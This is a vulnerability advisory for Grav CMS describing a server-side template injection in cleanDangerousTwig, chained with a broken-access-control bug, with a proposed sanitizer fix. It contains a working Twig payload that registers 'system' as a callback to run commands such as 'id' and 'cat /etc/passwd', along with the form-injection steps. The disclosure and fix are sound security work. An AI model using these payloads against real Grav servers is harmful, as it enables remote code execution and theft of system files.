| Package | Affected versions | Patched versions |
|---|---|---|
| getgrav/grav | < 1.8.0-beta.27 | 1.8.0-beta.27 |
| grav | = 1.8.0≥ 1.7.48, < 1.8.0 | 1.8.0 |
A Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the cleanDangerousTwig method.
First of all this vulnerability is due to weak sanitization in the method clearDangerousTwig, so any other class that calls it indirectly through for example $twig->processString to sanitize code is also vulnerable.
For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.
I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.
evaluate_twig, a guest can takeover the system.When we make a form with a process section and a message action, when the form is submitted we get to deal with onFormProcess in form.php through the message case:
case 'message':
$translated_string = $this->grav['language']->translate($params);
$vars = array(
'form' => $form
);
/** @var Twig $twig */
$twig = $this->grav['twig'];
$processed_string = $twig->processString($translated_string, $vars);
$form->message = $processed_string;
break;
Which takes our parameters as in our action values, like in our case the value of our message action and sends it to processString which then calls the method cleanDangerousTwig from Security.php, now here's where we find the vulnerability is caused by two things:
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeevaluate and evaluate_twig functions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads. public static function cleanDangerousTwig(string $string): string
{
if ($string === '') {
return $string;
}
$bad_twig = [
'twig_array_map',
'twig_array_filter',
'call_user_func',
'registerUndefinedFunctionCallback',
'undefined_functions',
'twig.getFunction',
'core.setEscaper',
'twig.safe_functions',
'read_file',
];
// This allows for a payload like {{ evaluate("read_file('/etc/passwd')") }}
$string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);
return $string;
}
First to showcase how the function handles the payload, I built a small php program that replicates the behavior of cleanDangerousTwig:
<?php
function cleanDangerousTwig(string $string): string
{
if ($string === '') {
return $string;
}
$bad_twig = [
'twig_array_map',
'twig_array_filter',
'call_user_func',
'registerUndefinedFunctionCallback',
'undefined_functions',
'twig.getFunction',
'core.setEscaper',
'twig.safe_functions',
'read_file',
];
$string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);
return $string;
}
$x = $argv[1];
echo cleanDangerousTwig("evaluate_twig('$x')");
We can run the program with this payload:
php ok.php "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefined_functions',false) %} {{ grav.twig.twig.getFunction('cat /etc/passwd') }}"
Our payload goes through and not one malicious function is filtered:
evaluate_twig('{# {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} #} {# {% set a = grav.config.set('system.twig.undefined_functions',false) %} #} {# {{ grav.twig.twig.getFunction('cat /etc/passwd') }} #}')
Now we know that our payload definitely works so let's try it through a custom form this time, as an editor:
We will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form's action sections without being in expert mode ( please refer to it's report ), so when we go to our form and save it, we can intercept the request and inject the following payload into data[_json][header][form] which is the header for our form which we shouldn't normally be able to modify:
{"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[]}
URL-encode it before sending it should look something like this:
Request sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:
Content of form:
title: Home
process:
markdown: true
twig: true
form:
name: test
fields:
name:
type: text
label: Name
required: true
buttons:
submit:
type: submit
value: submit
process:
-
message: '{{ evaluate_twig(form.value(''name'')) }}'
Now in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command id on the system:
{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefined_functions',false) %} {{ grav.twig.twig.getFunction('id') }}
Now we can visit the page and input our payload, submit and we got command result:
Allows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.
evaluate and evaluate_twig functions.cleanDangerousTwig where we would look for each malicious function no matter it's position:<?php
function cleanDangerousTwig(string $string): string
{
if ($string === '') {
return $string;
}
$bad_twig = [
'twig_array_map',
'twig_array_filter',
'call_user_func',
'registerUndefinedFunctionCallback',
'undefined_functions',
'twig.getFunction',
'core.setEscaper',
'twig.safe_functions',
'read_file',
];
$string = preg_replace('/(({{\s*|{%\s*)[^}]*?(' . implode('|', $bad_twig) . ')[^}]*?(\s*}}|\s*%}))/i', '{# $1 #}', $string);
foreach ($bad_twig as $func) {
$string = preg_replace('/\b' . preg_quote($func, '/') . '(\s*\([^)]*\))?\b/i', '{# $1 #}', $string);
}
return $string;
}
$x = $argv[1];
echo cleanDangerousTwig("evaluate_twig('$x')");
When we run this, the result is:
evaluate_twig('{# {{ grav.twig.twig.{# #}('system') }} #} {# {% set a = grav.config.set('system.twig.{# #}',false) %} #} {# {{ grav.twig.{# #}('cat /etc/passwd') }} #}')
You can see we managed to stop the payload and filter out the malicious functions.